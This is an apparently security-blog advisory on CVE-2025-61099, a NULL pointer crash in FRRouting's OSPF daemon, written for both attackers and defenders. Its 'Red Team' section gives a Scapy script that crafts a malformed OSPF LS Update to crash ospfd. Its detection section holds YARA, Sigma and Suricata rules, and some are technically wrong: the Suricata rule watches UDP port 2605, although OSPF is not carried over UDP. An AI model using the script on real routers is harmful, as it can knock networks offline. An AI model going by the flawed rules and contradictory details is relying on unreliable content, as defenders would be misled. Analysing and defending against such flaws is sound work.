CVE-2025-61099

Executive Summary

CVE-2025-61099 is a critical Denial of Service (DoS) vulnerability in the FRRouting (FRR) open-source routing software suite, affecting versions from v2.0 through v10.4.1. The flaw resides in the opaque_info_detail function within ospf_opaque.c, where a crafted OSPF Link State Update (LS Update) packet can trigger a NULL pointer dereference. This causes the OSPF daemon (ospfd) to crash, disrupting routing operations and potentially leading to network instability. The vulnerability is remotely exploitable without authentication, making it a high-severity threat for any network using FRR for OSPF routing.

Supply Chain & Package Security

FRRouting is a widely used open-source routing stack, often deployed in production networks, ISPs, and data centers. The vulnerability affects the core OSPF implementation, which is a critical component for dynamic routing. Organizations using FRR in their network infrastructure should treat this as a high-priority supply chain risk, as a successful exploit can cause widespread routing outages.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Network – The attacker sends a malicious packet over the network.
• Attack Complexity (AC): Low – No special conditions required; the crafted packet is straightforward.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): None – No data disclosure.
• Integrity (I): None – No data modification.
• Availability (A): High – The OSPF daemon crashes, causing a denial of service.

Threat Level: High. The vulnerability is remotely exploitable, requires no authentication, and directly impacts network availability.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF opaque LSA (Link State Advertisement) handling code. OSPF opaque LSAs are used to extend OSPF functionality (e.g., for Traffic Engineering or Graceful Restart). The opaque_info_detail function is called when processing incoming LS Update packets containing opaque LSAs.

Root Cause: In ospf_opaque.c, the function opaque_info_detail attempts to access a pointer without verifying it is non-NULL. When a specially crafted LS Update packet is received, the pointer to the opaque data structure is NULL, leading to a segmentation fault when the function tries to dereference it.

Attack Vector: An attacker on the same OSPF network (or able to inject packets into the OSPF domain) sends a malicious LS Update packet with a crafted opaque LSA. The packet triggers the vulnerable code path, causing ospfd to crash.

Impact:

• Immediate crash of the OSPF daemon.
• Loss of OSPF adjacency and routing table updates.
• Potential network partitioning or blackholing of traffic.
• Repeated exploitation can lead to persistent DoS.

Vulnerable vs. Patched Code

The vulnerable code is in ospf_opaque.c within the opaque_info_detail function. The exact patch is not publicly available, but the fix would involve adding a NULL pointer check before dereferencing.

Vulnerable Code (Conceptual):

void opaque_info_detail(struct ospf_lsa *lsa) {
    struct opaque_info *oi = lsa->data; // Could be NULL
    // ... later ...
    if (oi->type == OPAQUE_TYPE_TE) { // NULL pointer dereference here
        // ...
    }
}

Patched Code (Conceptual):

void opaque_info_detail(struct ospf_lsa *lsa) {
    struct opaque_info *oi = lsa->data;
    if (oi == NULL) {
        zlog_warn("opaque_info_detail: NULL opaque info");
        return;
    }
    if (oi->type == OPAQUE_TYPE_TE) {
        // ...
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the OSPF network (Layer 2 adjacency or ability to inject OSPF packets).
• Knowledge of OSPF authentication (if enabled) – the exploit works without authentication.

Exploit Concept:

1. Craft an OSPF LS Update packet with a malicious opaque LSA.
2. The opaque LSA header must have a type that triggers the opaque_info_detail function.
3. Set the opaque data pointer to NULL or omit the data field.
4. Send the packet to the target FRR router.

Example using Scapy (Python):

from scapy.all import *
from scapy.contrib.ospf import *

# Craft a malicious OSPF LS Update packet
ip = IP(src="192.168.1.100", dst="224.0.0.5")  # OSPF multicast
ospf_hdr = OSPF_Hdr(src="192.168.1.1", area="0.0.0.0", type=4)  # Type 4 = LS Update

# Malicious opaque LSA (type 9,10,11)
opaque_lsa = OSPF_LSA_header(type=9, ls_age=0, options=0x02, ls_seq=0x80000001)
# The opaque data is missing/corrupted to cause NULL dereference
ls_update = OSPF_LS_Update(lsa_count=1, lsalist=[opaque_lsa])

packet = ip / ospf_hdr / ls_update
send(packet, iface="eth0")

Note: This is a conceptual example. Actual exploitation may require deeper knowledge of OSPF state machine and opaque LSA formats.

Blue Team (Detection & Defense)

Detection:

• Monitor OSPF daemon logs for crashes or NULL pointer errors.
• Use network monitoring to detect malformed OSPF packets.
• Implement anomaly detection for OSPF LS Update packets with unusual opaque LSA types.

Defense:

• Apply patches as soon as they are released by FRRouting.
• Use OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.
• Segment OSPF areas to limit the blast radius.
• Deploy network intrusion detection systems (NIDS) with custom rules.

Indicators of Compromise (IOCs)

Network IOCs:

• OSPF LS Update packets with opaque LSA type 9, 10, or 11 and missing or malformed data fields.
• Repeated OSPF neighbor state changes (e.g., from Full to Down).
• OSPF packets with invalid checksums or sequence numbers.

Host IOCs:

• ospfd process crash logs containing "NULL pointer dereference" or "segfault".
• Core dump files from ospfd.
• System logs showing OSPF daemon restart.

File IOCs:

• /var/log/syslog or /var/log/messages entries like:

  ospfd[1234]: segfault at 0 ip 00007f... sp 00007f... error 4 in ospfd
  

Detection Engineering

YARA Rule

rule CVE_2025_61099_OSPF_NULL_PTR {
    meta:
        description = "Detects OSPF packets with malformed opaque LSA causing NULL pointer dereference"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61099"
    strings:
        $ospf_hdr = { 02 ?? ?? ?? 00 00 00 00 }  // OSPF header with type 4 (LS Update)
        $opaque_type9 = { 09 }  // Opaque LSA type 9
        $opaque_type10 = { 0a } // Opaque LSA type 10
        $opaque_type11 = { 0b } // Opaque LSA type 11
    condition:
        $ospf_hdr and ($opaque_type9 or $opaque_type10 or $opaque_type11)
}

Sigma Rule

title: CVE-2025-61099 - OSPF Daemon Crash via Malicious LS Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OSPF daemon crashes caused by NULL pointer dereference in opaque_info_detail
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "ospfd.*segfault"
        - "ospfd.*NULL pointer"
        - "ospfd.*SIGSEGV"
    condition: selection
falsepositives:
    - Legitimate OSPF crashes due to other bugs
level: high

Suricata Rule

alert udp any any -> any 2605 (msg:"CVE-2025-61099 - OSPF Malicious LS Update with Opaque LSA"; content:"|02|"; offset:1; depth:1; content:"|00 00 00 00|"; within:4; content:"|09|"; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Apply the official patch from FRRouting as soon as it is released. Monitor the FRR GitHub repository and mailing lists.
2. Workaround: If patching is not possible, disable OSPF opaque LSA support by setting no opaque-capability in the OSPF configuration.

   router ospf
    no opaque-capability
   

3. Access Control: Implement OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.

   router ospf
    area 0 authentication message-digest
   

Long-Term Mitigations:

• Deploy network segmentation to limit OSPF adjacency to trusted networks.
• Use BGP instead of OSPF where possible, or run OSPF in a controlled environment.
• Implement network intrusion prevention systems (IPS) with custom signatures.
• Regularly update FRRouting to the latest stable version.

Monitoring:

• Enable detailed OSPF logging and monitor for anomalies.
• Set up alerts for OSPF daemon restarts or crashes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert